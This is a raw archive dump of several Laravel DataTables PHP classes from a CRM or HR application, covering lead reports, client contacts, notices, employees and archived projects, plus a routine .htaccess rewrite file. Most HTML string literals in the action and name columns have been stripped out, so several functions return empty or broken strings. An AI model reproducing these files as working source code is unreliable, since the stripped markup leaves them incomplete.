->searchable(false) ->width(150) ->addClass('text-right pr-20') ]; } } DataTables/LeadReportDataTable.php000064400000020722150325104510013063 0ustar00eloquent($query) ->addColumn('employee_name', function ($row) { return $row->agent_name; }) ->addColumn('total_deals', function ($row) { return $row->count_total_leads; }) ->addColumn('won_deals', function ($row) { return $row->count_won_leads; }) ->addColumn('lost_deals', function ($row) { return $row->total_lost_deals; }) ->addColumn('total_amount', function ($row) { return currency_format($row->total_value, company()->currency_id); }) ->addColumn('converted_amount', function ($row) { return $row->total_converted_value ? currency_format($row->total_converted_value, company()->currency_id) : 0; }) ->addColumn('total_follow_up', function ($row) { return $row->count_total_follow_up; }) ->addColumn('total_pending_follow_up', function ($row) { return $row->count_total_pending_follow_up; }) ->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['total_leads', 'action', 'converted_lead', 'total_amount', 'converted_amount']); } /** * @param LeadAgent $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(LeadAgent $model) { $request = $this->request(); $agent = $request->agent; $model = $model ->select( 'deals.id', 'users.name as agent_name', // DB::raw("( select count('leadTotal.agent_id') from deals as leadTotal where leadTotal.agent_id = lead_agents.id) as count_total_leads"), // DB::raw("( select count('wonDeals.id') from deals as wonDeals INNER JOIN pipeline_stages on wonDeals.pipeline_stage_id = pipeline_stages.id where wonDeals.agent_id = lead_agents.id and pipeline_stages.slug = 'win') as count_won_leads"), // DB::raw('( select sum(totalAmount.value) from deals as totalAmount where totalAmount.agent_id = lead_agents.id) as total_value'), // DB::raw("( select sum(convertedAmount.value) from deals as convertedAmount INNER JOIN pipeline_stages as stage on convertedAmount.pipeline_stage_id = stage.id where convertedAmount.agent_id = lead_agents.id and stage.slug = 'win') as total_converted_value"), // DB::raw("( select count(lostDeals.id) from deals as lostDeals INNER JOIN pipeline_stages as stageLost on lostDeals.pipeline_stage_id = stageLost.id where lostDeals.agent_id = lead_agents.id and stageLost.slug = 'lost') as total_lost_deals"), // DB::raw('( select count("total_followup.deal_id") from lead_follow_up as total_followup INNER JOIN deals as lead_totals ON lead_totals.id=total_followup.deal_id where total_followup.deal_id = lead_totals.id and lead_totals.agent_id = lead_agents.id) as count_total_follow_up'), // DB::raw("( select count('total_pending_followup.id') from lead_follow_up as total_pending_followup INNER JOIN deals as lead_status_totals ON lead_status_totals.id=total_pending_followup.deal_id where total_pending_followup.deal_id = lead_status_totals.id and lead_status_totals.agent_id = lead_agents.id and total_pending_followup.status = 'pending') as count_total_pending_follow_up"), DB::raw("COUNT(DISTINCT deals.id) as count_total_leads"), DB::raw("COUNT(DISTINCT CASE WHEN pipeline_stages.slug = 'win' THEN deals.id END) as count_won_leads"), DB::raw("SUM(deals.value) as total_value"), DB::raw("SUM(CASE WHEN pipeline_stages.slug = 'win' THEN deals.value ELSE 0 END) as total_converted_value"), DB::raw("COUNT(DISTINCT CASE WHEN pipeline_stages.slug = 'lost' THEN deals.id END) as total_lost_deals"), DB::raw("COUNT(DISTINCT lead_follow_up.id) as count_total_follow_up"), DB::raw("COUNT(DISTINCT CASE WHEN lead_follow_up.status = 'pending' THEN lead_follow_up.id END) as count_total_pending_follow_up") ) ->leftJoin('deals', 'deals.agent_id', 'lead_agents.id') ->leftJoin('pipeline_stages', 'deals.pipeline_stage_id', 'pipeline_stages.id') ->join('users', 'users.id', 'lead_agents.user_id') ->leftjoin('lead_follow_up', 'lead_follow_up.deal_id', 'deals.id'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $model = $model->where(DB::raw('DATE(deals.`close_date`)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $model = $model->where(function ($query) use ($endDate) { $query->where(DB::raw('DATE(deals.`close_date`)'), '<=', $endDate); }); } } if (!is_null($agent) && $agent !== 'all') { $model->where('users.id', $agent); } $model->groupBy('users.id'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('lead-report-table', 5) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["lead-report-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('modules.deal.dealAgent') => ['data' => 'employee_name', 'name' => 'users.name', 'title' => __('modules.deal.dealAgent')], __('modules.deal.totalDeals') => ['data' => 'total_deals', 'name' => 'count_total_leads', 'title' => __('modules.deal.totalDeals')], __('modules.deal.wonDeals') => ['data' => 'won_deals', 'name' => 'count_won_leads', 'title' => __('modules.deal.wonDeals')], __('modules.deal.lostDeals') => ['data' => 'lost_deals', 'name' => 'total_lost_deals', 'title' => __('modules.deal.lostDeals')], __('app.totalAmount') => ['data' => 'total_amount', 'name' => 'total_value', 'title' => __('app.totalAmount')], __('modules.lead.convertedAmount') => ['data' => 'converted_amount', 'name' => 'total_converted_value', 'title' => __('modules.lead.convertedAmount')], __('app.total').' '.__('app.followUp') => ['data' => 'total_follow_up', 'name' => 'count_total_follow_up', 'title' => __('app.total').' '.__('app.followUp')], __('app.total').' '.__('app.pending').' '.__('app.followUp') => ['data' => 'total_pending_follow_up', 'name' => 'count_total_pending_follow_up', 'title' => __('app.total').' '.__('app.pending').' '.__('app.followUp')], ]; } public function pdf() { set_time_limit(0); if ('snappy' == config('datatables-buttons.pdf_generator', 'snappy')) { return $this->snappyPdf(); } $pdf = app('dompdf.wrapper'); $pdf->loadView('datatables::print', ['data' => $this->getDataForPrint()]); return $pdf->download($this->getFilename() . '.pdf'); } } DataTables/ClientContactsDataTable.php000064400000013763150325104510013746 0ustar00editClientPermission = user()->permission('edit_client_contacts'); $this->deleteClientPermission = user()->permission('delete_client_contacts'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->editColumn('contact_name', function ($row) { return ''; }) ->editColumn('title', fn($row) => $row->title) ->editColumn('created_at', fn($row) => Carbon::parse($row->created_at)->translatedFormat($this->company->date_format)) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['contact_name', 'action', 'check']); } /** * @param ClientContact $model * @return ClientContact|\Illuminate\Database\Eloquent\Builder */ public function query(ClientContact $model) { $request = $this->request(); return $model->where('user_id', $request->clientID); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('clients-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["clients-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { // }', /* 'buttons' => ['excel'] */ ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.title') => ['data' => 'title', 'name' => 'title', 'title' => __('app.title')], __('app.name') => ['data' => 'contact_name', 'name' => 'contact_name', 'title' => __('app.name')], __('app.email') => ['data' => 'email', 'name' => 'email', 'title' => __('app.email')], __('app.phone') => ['data' => 'phone', 'name' => 'phone', 'title' => __('app.phone')], __('app.createdAt') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.createdAt')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/NoticeBoardDataTable.php000064400000020775150325104510013223 0ustar00editNoticePermission = user()->permission('edit_notice'); $this->deleteNoticePermission = user()->permission('delete_notice'); $this->viewNoticePermission = user()->permission('view_notice'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $userId = UserService::getUserId(); return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) use ($userId) { $action = '
' . __('app.view') . '
'; return $action; }) ->editColumn( 'heading', function ($row) { return ' ' . $row->heading . ''; } ) ->editColumn( 'created_at', function ($row) { return $row->created_at->translatedFormat($this->company->date_format); } ) ->editColumn( 'to', function ($row) { return __('app.'. $row->to); } ) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'heading', 'check']); } /*** * @param Notice $model * @return \Illuminate\Database\Query\Builder */ public function query(Notice $model) { $request = $this->request(); $model = $model->with('member')->select('id', 'heading', 'to', 'created_at', 'added_by', 'department_id'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(notices.`created_at`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(notices.`created_at`)'), '<=', $endDate); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('notices.heading', 'like', '%' . request('searchText') . '%'); }); } $userId = UserService::getUserId(); if (in_array('employee', user_roles()) && !in_array('admin', user_roles())) { $model->where(function ($query) { if ($this->user && $this->user->employeeDetail && $this->user->employeeDetail->department) { $departmentId = $this->user->employeeDetail->department->id; $query->whereNull('department_id'); $query->orWhere('department_id', $departmentId); } }); if($this->viewNoticePermission == 'owned'){ $model->whereHas('noticeEmployees', function($query){ $query->where('user_id', user()->id); }); } } if (in_array('client', user_roles())) { $model->whereHas('noticeClients', function($query) use ($userId) { $query->where('user_id', $userId); }); } if ($this->viewNoticePermission == 'added') { $model->where('notices.added_by', $userId); } if ($this->viewNoticePermission === 'both') { $model->where(function ($query) use ($userId) { $query->where('notices.added_by', $userId) ->orWhereHas('member', fn($q) => $q->where('user_id', $userId)); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('notice-board-table', 3) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["notice-board-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.notices.notice') => ['data' => 'heading', 'name' => 'heading', 'title' => __('modules.notices.notice')], __('app.date') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.date')], __('app.to') => ['data' => 'to', 'name' => 'to', 'title' => __('app.to'), 'visible' => !in_array('client', user_roles())], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/.htaccess000064400000000544150325104510010345 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all DataTables/EmployeesDataTable.php000064400000055260150325104510012771 0ustar00editEmployeePermission = user()->permission('edit_employees'); $this->deleteEmployeePermission = user()->permission('delete_employees'); $this->viewEmployeePermission = user()->permission('view_employees'); $this->changeEmployeeRolePermission = user()->permission('change_employee_role'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $roles = Role::whereNotIn('name', ['client'])->get(); $datatables = datatables()->eloquent($query); $datatables->addColumn('check', function ($row) { if ($row->id != user()->id) { return $this->checkBox($row); } return '--'; }); $datatables->editColumn('current_role_name', function ($row) { $userRole = $row->roles->pluck('name')->toArray(); if (in_array('admin', $userRole)) { return $row->roles()->withoutGlobalScopes()->latest()->first()->display_name; } return !empty($row->current_role_name) ? $row->current_role_name : $row->roles->pluck('display_name')->last(); }); $datatables->addColumn('role', function ($row) use ($roles) { $userRole = $row->roles->pluck('name')->toArray(); if (in_array('admin', $userRole)) { $uRole = $row->roles()->withoutGlobalScopes()->latest()->first()->display_name; } else { $uRole = $row->current_role_name; } if (in_array('admin', $userRole) && !in_array('admin', user_roles())) { return $uRole . ' '; } if ($row->id == user()->id) { return $uRole . ' '; } $role = ''; return $role; }); $datatables->addColumn('action', function ($row) { $userRole = $row->roles->pluck('name')->toArray(); $action = '
'; return $action; }); $datatables->addColumn('employee_name', fn($row) => $row->name); $datatables->editColumn('created_at', fn($row) => Carbon::parse($row->created_at)->translatedFormat($this->company->date_format)); $datatables->editColumn('status', fn($row) => $row->status == 'active' ? Common::active() : Common::inactive()); $datatables->editColumn('name', function ($row) { $employmentTypeBadge = ''; $employeeDetail = $row->employeeDetail; if($row->status == 'active'){ if ($employeeDetail?->probation_end_date > now()->toDateString()) { $employmentTypeBadge .= '' . __('app.onProbation') . ' '; } if ($employeeDetail?->employment_type == 'internship' || $employeeDetail?->internship_end_date > now()->toDateString()) { $employmentTypeBadge .= '' . __('app.onInternship') . ' '; } if ($employeeDetail?->notice_period_end_date > now()->toDateString()) { $employmentTypeBadge .= '' . __('app.onNoticePeriod') . ' '; } if ($employeeDetail?->joining_date >= now()->subDays(30)->toDateString() && $employeeDetail?->joining_date <= now()->addDay()->toDateString()) { $employmentTypeBadge .= '' . __('app.newHires') . ' '; } if ($employeeDetail?->joining_date <= now()->subYears(2)->toDateString()) { $employmentTypeBadge .= '' . __('app.longStanding') . ' '; } } $view = view('components.employee', ['user' => $row])->render(); $view .= $employmentTypeBadge; return $view; }); $datatables->addColumn('employment_type', function ($row) { $employmentType = ''; $employeeDetail = $row->employeeDetail; if ($employeeDetail?->probation_end_date > now()->toDateString()) { $employmentType .= __('app.onProbation') . ' '; } if ($employeeDetail?->employment_type == 'internship' || $employeeDetail?->internship_end_date > now()->toDateString()) { $employmentType .= __('app.onInternship') . ' '; } if ($employeeDetail?->notice_period_end_date > now()->toDateString()) { $employmentType .= __('app.onNoticePeriod') . ' '; } if ($employeeDetail?->joining_date >= now()->subDays(30)->toDateString() && $employeeDetail->joining_date <= now()->addDay()->toDateString()) { $employmentType .= __('app.newHires') . ' '; } if ($employeeDetail?->joining_date <= now()->subYears(2)->toDateString()) { $employmentType .= __('app.longStanding') . ' '; } return $employmentType; }); $datatables->editColumn('employee_id', fn($row) => '' . $row->employee_id . ''); $datatables->editColumn('joining_date', fn($row) => Carbon::parse($row->joining_date)->translatedFormat('Y-m-d')); $datatables->addColumn('reporting_to', function ($row) { return $row->employeeDetail->reportingTo->name ?? '--'; }); $datatables->addColumn('mobile', function ($row) { if (!is_null($row->mobile) && !is_null($row->country_phonecode)) { return '+' . $row->country_phonecode . ' ' . $row->mobile; } return '--'; }); $datatables->addColumn('designation_name', fn($row) => $row->employeeDetail->designation->name ?? '--'); $datatables->addColumn('department_name', fn($row) => $row->department_name ?? '--'); $datatables->addIndexColumn(); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->removeColumn('roleId'); $datatables->removeColumn('roleName'); $datatables->removeColumn('current_role'); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, EmployeeDetails::CUSTOM_FIELD_MODEL, 'employeeDetails'); $datatables->rawColumns(array_merge(['name', 'action', 'role', 'status', 'check', 'employee_id'], $customFieldColumns)); return $datatables; } /** * @param User $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(User $model) { $request = $this->request(); $userRoles = ''; if ($request->role != 'all' && $request->role != '') { $userRoles = Role::findOrFail($request->role); } $users = $model->with([ 'role', 'roles:name,display_name', 'roles.roleuser', 'employeeDetail' => function ($query) { $query->select('notice_period_end_date','internship_end_date','employment_type','probation_end_date','user_id', 'added_by', 'designation_id', 'employee_id', 'joining_date', 'reporting_to') ->with('reportingTo:id,name,image'); }, 'session', 'employeeDetail.designation:id,name', 'employeeDetail.department:id,team_name', ]) ->withoutGlobalScope(ActiveScope::class) ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->leftJoin('teams', 'employee_details.department_id', '=', 'teams.id') ->leftJoin('role_user', 'role_user.user_id', '=', 'users.id') ->leftJoin('roles', 'roles.id', '=', 'role_user.role_id') ->select([ 'users.id', 'users.salutation', 'users.name', 'users.email', 'users.created_at', 'roles.name as roleName', 'roles.id as roleId', 'users.image', 'users.gender', 'users.mobile', 'users.country_phonecode', 'users.inactive_date', 'designations.name as designation_name', 'employee_details.added_by', 'employee_details.employee_id', 'employee_details.joining_date', 'teams.team_name as department_name', DB::raw('CASE WHEN users.status = "deactive" THEN "inactive" WHEN users.inactive_date IS NULL THEN "active" WHEN users.inactive_date <= CURDATE() THEN "inactive" ELSE "active" END as status') ]) ->groupBy('users.id')->whereHas('roles', function ($query) { $query->where('name', 'employee'); }); if ($request->status != 'all' && $request->status != '' && $request->EmployeeType == null) { if ($request->status == 'active') { // Check if the inactive_date is today or in the past $expireDate = now()->toDateString(); $users = $users->where('users.status', 'active'); $users = $users->where(function ($query) use ($expireDate) { $query->orWhereNull('users.inactive_date') // Consider users with null inactive_date ->orWhere('users.inactive_date', '>', $expireDate); // Or users with inactive_date in the future }); } elseif ($request->status == 'deactive') { // Check if the inactive_date is in the past $expireDate = now()->toDateString(); $users = $users->where('users.status', 'deactive') ->orWhere('users.inactive_date', '<=', $expireDate); } } if($request->EmployeeType === 'ex_employee'){ $lastStartDate = null; $lastEndDate = null; if ($request->lastStartDate !== null && $request->lastStartDate != 'null' && $request->lastStartDate != '') { $lastStartDate = companyToDateString($request->lastStartDate); } if ($request->lastEndDate !== null && $request->lastEndDate != 'null' && $request->lastEndDate != '') { $lastEndDate = companyToDateString($request->lastEndDate); } $users = $users->whereBetween('employee_details.last_date', [$lastStartDate, $lastEndDate]); } if ($request->gender != 'all' && $request->gender != '') { $users = $users->where('users.gender', $request->gender); } if ($request->employee != 'all' && $request->employee != '') { $users = $users->where('users.id', $request->employee); } if ($request->designation != 'all' && $request->designation != '') { $users = $users->where('employee_details.designation_id', $request->designation); } if ($request->department != 'all' && $request->department != '') { $users = $users->where('employee_details.department_id', $request->department); } if ($request->role != 'all' && $request->role != '' && $userRoles) { if ($userRoles->name == 'admin') { $users = $users->where('roles.id', $request->role); } elseif ($userRoles->name == 'employee') { $users = $users->where(DB::raw('(select user_roles.role_id from role_user as user_roles where user_roles.user_id = users.id ORDER BY user_roles.role_id DESC limit 1)'), $request->role) ->having('roleName', '<>', 'admin'); } else { $users = $users->where(DB::raw('(select user_roles.role_id from role_user as user_roles where user_roles.user_id = users.id ORDER BY user_roles.role_id DESC limit 1)'), $request->role); } } if ((is_array($request->skill) && $request->skill[0] != 'all') && $request->skill != '' && $request->skill != null && $request->skill != 'null') { $users = $users->join('employee_skills', 'employee_skills.user_id', '=', 'users.id') ->whereIn('employee_skills.skill_id', $request->skill); } if ($this->viewEmployeePermission == 'added') { $users = $users->where('employee_details.added_by', user()->id); } if ($this->viewEmployeePermission == 'owned') { $users = $users->where('employee_details.user_id', user()->id); } if ($this->viewEmployeePermission == 'both') { $users = $users->where(function ($q) { $q->where('employee_details.user_id', user()->id); $q->orWhere('employee_details.added_by', user()->id); }); } if ($request->startDate != '' && $request->endDate != '') { $startDate = companyToDateString($request->startDate); $endDate = companyToDateString($request->endDate); $users = $users->whereRaw('Date(employee_details.joining_date) >= ?', [$startDate])->whereRaw('Date(employee_details.joining_date) <= ?', [$endDate]); } if ($request->searchText != '') { $users = $users->where(function ($query) { $query->where('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('users.email', 'like', '%' . request('searchText') . '%') ->orWhere('employee_details.employee_id', 'like', '%' . request('searchText') . '%'); }); } if ($request->employmentType != 'all' && $request->employmentType != '') { if ($request->employmentType == 'probation') { $today = now()->toDateString(); $users = $users->where('employee_details.probation_end_date', '>', $today); } if ($request->employmentType == 'internship') { $today = now()->toDateString(); $users = $users->where('employee_details.employment_type', $request->employmentType) ->orWhere('employee_details.internship_end_date', '>', $today); } if ($request->employmentType == 'notice_period') { $today = now()->toDateString(); $users = $users->where('employee_details.notice_period_end_date', '>', $today); } if ($request->employmentType == 'new_hires') { $thirtyDaysAgo = now()->subDays(30)->toDateString(); $today = now()->toDateString(); $users = $users->whereBetween('employee_details.joining_date', [$thirtyDaysAgo, $today]); } if ($request->employmentType == 'long_standing') { $twoYearsAgo = now()->subYears(2)->toDateString(); $users = $users->where('employee_details.joining_date', '<=', $twoYearsAgo); } } return $users->groupBy('users.id'); } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('employees-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["employees-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".select-picker").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => false], __('modules.employees.employeeId') => ['data' => 'employee_id', 'name' => 'employee_id', 'title' => __('modules.employees.employeeId')], __('app.name') => ['data' => 'name', 'name' => 'name', 'exportable' => false, 'title' => __('app.name')], __('modules.employees.employmentType') => ['data' => 'employment_type', 'name' => 'employment_type', 'visible' => false, 'title' => __('modules.employees.employmentType')], __('app.employee') => ['data' => 'employee_name', 'name' => 'name', 'visible' => false, 'title' => __('app.employee')], __('app.email') => ['data' => 'email', 'name' => 'email', 'title' => __('app.email')], __('app.role') => ['data' => 'role', 'name' => 'role', 'width' => '20%', 'orderable' => false, 'exportable' => false, 'title' => __('app.role'), 'visible' => ($this->changeEmployeeRolePermission == 'all')], __('modules.employees.role') => ['data' => 'current_role_name', 'name' => 'current_role_name', 'visible' => false, 'title' => __('modules.employees.role')], __('app.mobile') => ['data' => 'mobile', 'name' => 'mobile', 'visible' => false, 'title' => __('app.mobile')], __('modules.employees.designation') => ['data' => 'designation_name', 'name' => 'designation_name', 'visible' => false, 'title' => __('modules.employees.designation')], __('modules.employees.department') => ['data' => 'department_name', 'name' => 'department_name', 'visible' => false, 'title' => __('modules.employees.department')], __('modules.employees.reportingTo') => ['data' => 'reporting_to', 'name' => 'reporting_to', 'title' => __('modules.employees.reportingTo')], __('modules.employees.joiningDate') => ['data' => 'joining_date', 'name' => 'joining_date', 'visible' => false, 'title' => __('modules.employees.joiningDate')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new EmployeeDetails()), $action); } } DataTables/ArchiveProjectsDataTable.php000064400000030726150325104510014122 0ustar00viewProjectPermission = user()->permission('view_projects'); $this->editProjectPermission = user()->permission('edit_projects'); $this->deleteProjectPermission = user()->permission('delete_projects'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('action', function ($row) { $memberIds = $row->members->pluck('user_id')->toArray(); $action = ''; if ( $this->editProjectPermission == 'all' || ($this->editProjectPermission == 'added' && user()->id == $row->added_by) || ($this->editProjectPermission == 'owned' && user()->id == $row->client_id && in_array('client', user_roles())) || ($this->editProjectPermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($this->editProjectPermission == 'both' && (user()->id == $row->client_id || user()->id == $row->added_by)) || ($this->editProjectPermission == 'both' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) ) { $action .= ' '; } if ( $this->deleteProjectPermission == 'all' || ($this->deleteProjectPermission == 'added' && user()->id == $row->added_by) || ($this->deleteProjectPermission == 'owned' && user()->id == $row->client_id && in_array('client', user_roles())) || ($this->deleteProjectPermission == 'owned' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) || ($this->deleteProjectPermission == 'both' && (user()->id == $row->client_id || user()->id == $row->added_by)) || ($this->deleteProjectPermission == 'both' && in_array(user()->id, $memberIds) && in_array('employee', user_roles())) ) { $action .= ' '; } return $action; }) ->addColumn('members', function ($row) { $members = ''; if (count($row->members) > 0) { foreach ($row->members as $member) { $img = ''; $members .= ' '; } } else { $members .= __('messages.noMemberAddedToProject'); } return $members; }) ->addColumn('name', function ($row) { $members = []; if (count($row->members) > 0) { foreach ($row->members as $member) { $members[] = $member->user->name; } return implode(',', $members); } return '--'; }) ->editColumn('project_name', function ($row) { return ''; }) ->editColumn('start_date', fn($row) => $row->start_date ? $row->start_date->translatedFormat($this->company->date_format) : '') ->editColumn('deadline', fn($row) => $row->deadline ? $row->deadline->translatedFormat($this->company->date_format) : '-') ->editColumn('client_id', fn($row) => is_null($row->client_id) ? '' : view('components.client', ['user' => $row->client])) ->editColumn('status', function ($row) { $projectStatus = ProjectStatusSetting::all(); foreach ($projectStatus as $status) { if ($row->status == $status->status_name) { $color = $status->color; return ' ' . $status->status_name; } } }) ->editColumn('completion_percent', function ($row) { if ($row->completion_percent < 50) { $statusColor = 'danger'; } elseif ($row->completion_percent < 75) { $statusColor = 'warning'; } else { $statusColor = 'success'; } return '
' . $row->completion_percent . '%
'; }) ->addColumn('completion_export', fn($row) => $row->completion_percent . '% ' . __('app.complete')) ->addIndexColumn() ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['project_name', 'action', 'completion_percent', 'members', 'status', 'client_id', 'check']) ->removeColumn('project_summary') ->removeColumn('notes') ->removeColumn('category_id') ->removeColumn('feedback') ->removeColumn('start_date'); } /** * @param Project $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Project $model) { $request = $this->request(); $model = $model ->with('members', 'members.user', 'client', 'client.clientDetails', 'currency', 'client.session') ->leftJoin('project_members', 'project_members.project_id', 'projects.id') ->leftJoin('users', 'project_members.user_id', 'users.id') ->leftJoin('users as client', 'projects.client_id', 'users.id') ->selectRaw('projects.id, projects.added_by, projects.project_name, projects.start_date, projects.deadline, projects.client_id, projects.completion_percent, projects.project_budget, projects.currency_id, projects.status, users.name, client.name as client_name, ( select count("id") from pinned where pinned.project_id = projects.id and pinned.user_id = ' . user()->id . ') as pinned_project'); if (!is_null($request->status) && $request->status != 'all') { if ($request->status == 'not finished') { $model->where('projects.completion_percent', '!=', 100); } else { $model->where('projects.status', $request->status); } } if ($request->progress) { $model->where(function ($q) use ($request) { foreach ($request->progress as $progress) { $completionPercent = explode('-', $progress); $q->orWhereBetween('projects.completion_percent', [$completionPercent[0], $completionPercent[1]]); } }); } if (!is_null($request->client_id) && $request->client_id != 'all') { $model->where('client_id', $request->client_id); } if (!is_null($request->team_id) && $request->team_id != 'all') { $model->where('team_id', $request->team_id); } if (!is_null($request->category_id) && $request->category_id != 'all') { $model->where('category_id', $request->category_id); } if (!is_null($request->employee_id) && $request->employee_id != 'all') { $model->where('project_members.user_id', $request->employee_id); } if ($this->viewProjectPermission == 'added') { $model->where('projects.added_by', user()->id); } if ($this->viewProjectPermission == 'owned' && in_array('employee', user_roles())) { $model->where('project_members.user_id', user()->id); } if ($this->viewProjectPermission == 'both' && in_array('employee', user_roles())) { $model->where(function ($query) { return $query->where('projects.added_by', user()->id) ->orWhere('project_members.user_id', user()->id); }); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('users.name', 'like', '%' . request('searchText') . '%'); }); } $model->onlyTrashed()->groupBy('projects.id'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('projects-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["projects-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('modules.projects.projectName') => ['data' => 'project_name', 'name' => 'project_name', 'title' => __('modules.projects.projectName')], __('modules.projects.members') => ['data' => 'members', 'name' => 'members', 'exportable' => false, 'width' => '25%', 'title' => __('modules.projects.members')], 